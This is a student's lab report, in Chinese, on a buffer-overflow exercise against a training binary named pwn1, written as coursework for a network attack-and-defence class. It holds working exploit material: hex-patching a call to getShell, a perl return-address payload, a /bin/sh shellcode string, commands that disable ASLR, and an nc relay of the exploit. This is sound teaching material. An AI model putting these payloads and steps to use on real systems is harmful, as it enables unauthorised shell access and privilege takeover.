20232402 2025-2026-1 《网络与系统攻防技术》实验一实验报告
1.实验内容
本周学习内容为缓冲区溢出漏洞简介和缓冲区溢出基础知识。
1.1 缓冲区溢出漏洞简介
- 缓冲区是连续的一段存储空间。
- 缓冲区溢出是指向特定缓冲区填充数据时,超出了缓冲区容量,导致外溢数据覆盖了相邻内存空间的合法数据。
- 课堂上介绍了红色代码、冲击波病毒、震荡波病毒、震网蠕虫、心脏出血、勒索病毒等经典的缓冲区溢出攻击以及乌克兰断网与DNS/TCPIP堆栈溢出漏洞这两个重大网络安全事件。
1.2 缓冲区溢出基础知识
- 调试器的基础命令与编译器的作用。
- 强调了汇编语言是学习渗透即shell code的基础。讲解了寄存器、汇编指令相关的汇编语言,介绍了Linux系统和windows系统的进程内存管理,Linux系统的os可执行程序加载到内存包含.text,.data,.bss三个段,之后再初始化堆和栈,堆是先进先出,栈是后进先出。
- 在函数调用过程中,bp是栈底指针,SP是栈顶指针。三个步骤为call、 prologue、return。
2.实验过程。
2.1 直接修改程序机器指令改变执行流程
2.1.1 下载目标文件pwn1,用mobaxterm连接虚机,可直接拖入文件夹。
2.1.2 计算 getShell 地址与下条指令地址差值的补码(47d-4ba 得 c3ffffff)
2.1.3 执行cp pwn1 pwn2复制文件
2.1.4 用 vi 打开 pwn2,按 ESC 后输入:%!xxd切换 16 进制模式
2.1.5 搜索/e8d7找到目标指令
将 d7 改为 c3
输入:%!xxd -r恢复格式,:wq保存退出
2.1.6 用objdump -d pwn2 | more验证 call 指令是否调用 getShell
运行./pwn2查看是否获取 shell
2.2 构造输入参数实现 BOF 攻击
2.2.1 用objdump -d pwn1 | more反汇编
getShell调用系统函数,执行后获取 shell
foo函数有缓冲区溢出漏洞
main函数通过call 8048491
ret执行时从栈顶取返回地址,跳转执行
2.2.2 启动 gdb 调试 pwn1,输入字符串1111111122222222333333334444444455555555和1111111122222222333333334444444412345678,通过info r查看 EIP 值,确定第 33-36 个字符覆盖返回地址,确定第 33-36 个字符覆盖返回地址
(1)程序崩溃时,eip=0x35353535(0x35是字符 5 的 ASCII 码)。说明 5555 这 4 个字符覆盖了返回地址(EIP)。
(2)程序崩溃时,eip=0x34333231(0x31是 1,以此类推)。说明 1234 这 4 个字符覆盖了返回地址(EIP)(因为 EIP 的值正好是 1234 对应的 ASCII 码,又因为栈是小端序,所以顺序反过来显示为 34333231)
2.2.3 确认用什么值来覆盖返回地址(探索程序的机器码小端序还是大端序)
图中框出的eip(eip 寄存器指向下一条要执行的指令~)指向程序的合法指令地址08 04 84 9d。
程序崩溃时eip = 0x34333231。也就是说,输入的1234被 CPU 解析成了4321(倒序),符合小端序的存储规则。
2.2.4 用perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input生成输入文件,用xxd input验证内容
(看来是符合的~)
2.2.5 执行(cat input; cat) | ./pwn1,输入 ls 等指令验证是否获取 shell。
2.3 注入 Shellcode 并执行
2.3.1 准备一段 shellcode“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80”
2.3.2 使用设置堆栈可执行,并查询是否可以执行了
关闭地址随机化
2.3.3 构造 payload
先用当前 payload(带\x4\x3\x2\x1)运行程序,让程序崩溃在0x01020304(此时 EIP 被\x4\x3\x2\x1覆盖)。
2.3.4 确定\x4\x3\x2\x1到底该填什么
(1)一个终端注入攻击buf。
(2)另外一个终端,用gdb来调试pwn1这个进程。disassemble foo设断点break *0x080484ae,c后查看 esp 及内存地址,确定 shellcode 地址。
所框的位置就是 payload 中最后的\x4\x3\x2\x1,证明这个位置就是被覆盖的EIP所在处。
2.3.5 重新用 perl 生成含正确返回地址的 payload
执行(cat input_shellcode;cat) | ./pwn1,输入 ls 验证
(成功啦~)
2.4 模拟远程攻击
主机 1 执行nc -l 127.0.0.1 -p 28234 -e ./pwn1
主机 2 执行(cat input_shellcode; cat) | nc 127.0.0.1 28234,输入 shell 指令测试。
不成功,换成socat还是不成功
能通信但还是不成功
(我琢磨了一个小时真没招了老师qwq)
3.问题及解决方案
-
问题1:在将execstack包解压后编译的时候发现报错。
-
问题1解决方案:
所以采用了平替。
-
问题2:
sudo echo "0" > /proc/sys/kernel/randomize_va_space
zsh: 权限不够: /proc/sys/kernel/randomize_va_space
- 问题2解决方案:
# 通过 tee 命令间接写入,避免重定向权限问题 echo "0" | sudo tee /proc/sys/kernel/randomize_va_space
# 查看当前地址随机化状态,输出 0 即表示已关闭 cat /proc/sys/kernel/randomize_va_space
4.学习感悟、思考等
4.1 感悟
(1)刚开始做实验的时候我想的是先把它按步骤顺下来做完,然后写实验报告的时候再去深究实验的细节。但是我对于Linux系统与网络攻防的专业特性还是了解甚少,导致后来写报告的时候花了非常长的时间去研究具体命令的含义与攻击的思路。或许下一次实验可以先把实验指导书啃下来、理解透,至少理解一步做一步,再让理论指导实践,或许会提高效率。
(2)开始我以为博客园的编辑环境是没有办法将图片直接复制上去的,然后我就蠢蠢地找了个图床,提取URL再手动写markdown。后来回寝室之后跟泽瑞一交流,才知道是可以复制粘贴的。看来多跟同学沟通交流,能节省很多时间。
4.1 思考
-
思考1:getShell是啥,为啥跳转到getShell执行?
-
思考1答案:我们费劲心思利用 “栈溢出” 覆盖返回地址(EIP),最终目标不是让程序崩溃,而是让程序按照我们的意愿执行代码——getShell 就是最直接的 “意愿”,原因有两个:
一是原始程序没有 “给我们控制权” 的功能
pwn1程序,原始功能不会主动开 Shell, 无法通过它的正常功能操作设备。而通过栈溢出 “篡改返回地址”,就能强制程序跳转到我们想要的代码(比如 getShell),突破原始功能的限制。
二是getShell 是 “获取更高权限” 的入口
在漏洞利用场景中,pwn1程序可能运行在有特定权限的环境中(比如普通用户权限,甚至管理员权限)。一旦执行 getShell,我们拿到的 Shell 就会继承pwn1的权限 —— 比如pwn1是 root 用户运行的,那 getShell 弹出的bash就是 root 权限,我们就能执行rm、sudo等高危命令,完全控制设备。 -
思考2:构造要注入的payload中的payload是啥?
-
思考2答案:在漏洞利用中,“payload” 指的是我们精心构造的输入数据,其核心作用是 “触发漏洞并执行我们想要的操作”(比如这里的获取 Shell)。
-
思考3:为啥注入payload和之前getShell的不同?
-
思考3答案:之前是跳转到程序自带的getShell函数(地址固定,直接用即可)。
现在是跳转到你自己注入的 Shellcode(地址不固定,每次运行可能变,需要调试找到当前地址)。
就是情景不一样导致难度不一样,但是攻击目的是相同的。 -
思考4:为啥说 shellcode 就挨着,地址是 0xffffd320”?
(gdb) x/16x 0xffffd31c //看到 01020304了,就是返回地址的位置。shellcode就挨着,所以地址是 0xffffd320
0xffffd31c: 0x01020304 0xf7fa0000 0xf7faa000 0x00000000
0xffffd32c: 0xf7e135f7 0x00000001 0xffffd3c4
- 思考4答案:内存地址是连续增长的(栈通常向下生长,但此处看数据分布是向上连续的)。
返回地址在0xffffd31c(存储0x01020304)。
下一个内存地址是0xffffd31c + 4字节 = 0xffffd320(因为每个数据占 4 字节)。
结合之前的操作(注入的 Shellcode 在 payload 中位于\x4\x3\x2\x1之前),可以推断:0xffffd320这个地址就是你注入的 Shellcode 在栈中的起始位置(紧挨着返回地址的下一个位置)。